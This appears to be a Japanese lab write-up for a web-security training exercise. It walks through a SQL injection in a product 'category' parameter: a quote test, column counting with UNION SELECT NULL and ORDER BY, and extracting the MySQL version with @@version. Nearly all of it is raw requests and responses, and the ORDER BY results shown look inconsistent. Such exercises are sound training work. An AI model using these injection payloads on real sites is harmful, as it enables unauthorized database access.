MySQLとMicrosoftでのデータベースの種類とバージョンの照会
前提:「カテゴリー」パラメータにSQLインジェクションが存在する。UNIONが利用可能
ゴール:データベースのバージョン文字列を表示する
1.「Gifts」カテゴリーを選択した際の、デフォルトリクエスト・レスポンス
GET /filter?category=Gifts HTTP/2 Host: 0a3c00c0034f7aa581529416003600b4.web-security-academy.net Cookie: session=UNP3uaMkXQyNzSu2V70R5becfkZ8jjTm ~省略~ HTTP/2 200 OK ~省略~ <tr><th>Snow Delivered To Your Door</th><td>By Steam ~省略~ avoid disappointment.</td></tr> <tr><th>High-End Gift Wrapping</th><td>We offer ~省略~ call today.</td></tr> <tr><th>Conversation Controlling Lemon</th><td>Are you ~省略~ un-opinionated one.</td></tr> <tr><th>Couple's Umbrella</th><td>Do you ~省略~ Couple's Umbrella.</td></tr> ~省略~
4行2列

2. SQLインジェクションの存在確認。' = %27 の入力
GET /filter?category=Gifts%27 HTTP/2 HTTP/2 500 Internal Server Error
GET /filter?category=Gifts%27%27 HTTP/2 HTTP/2 200 OK
レスポンスに差異が出ることから、' = %27 がSQL文として解釈されており SQLインジェクションがあると判定。
3. UNION と null での列数推定
GET /filter?category=Gifts%27+union+select+null-- HTTP/2 HTTP/2 500 Internal Server Error
GET /filter?category=Gifts%27+union+select+null,null-- HTTP/2 HTTP/2 500 Internal Server Error
GET /filter?category=Gifts%27+union+select+null,null--+ HTTP/2 HTTP/2 200 OK
GET /filter?category=Gifts'+union+select+null,null# HTTP/2 HTTP/2 200 OK
コメントアウトが --+ --%20 または # であることから MySQLであると推定。列数は2列。
order by でも確認。
GET /filter?category=Gifts%27+order+by+1--+ HTTP/2 HTTP/2 500 Internal Server Error
GET /filter?category=Gifts%27+order+by+2--+ HTTP/2 HTTP/2 200 OK
1列目、2列目、双方に文字列型が利用可能
GET /filter?category=Gifts%27+union+select+%27a%27,%27a%27--+ HTTP/2 HTTP/2 200 OK
バージョンの出力
GET /filter?category=Gifts%27+union+select+@@version,%27a%27--+ HTTP/2 <tr><th>8.0.42-0ubuntu0.20.04.1</th><td>a</td></tr>
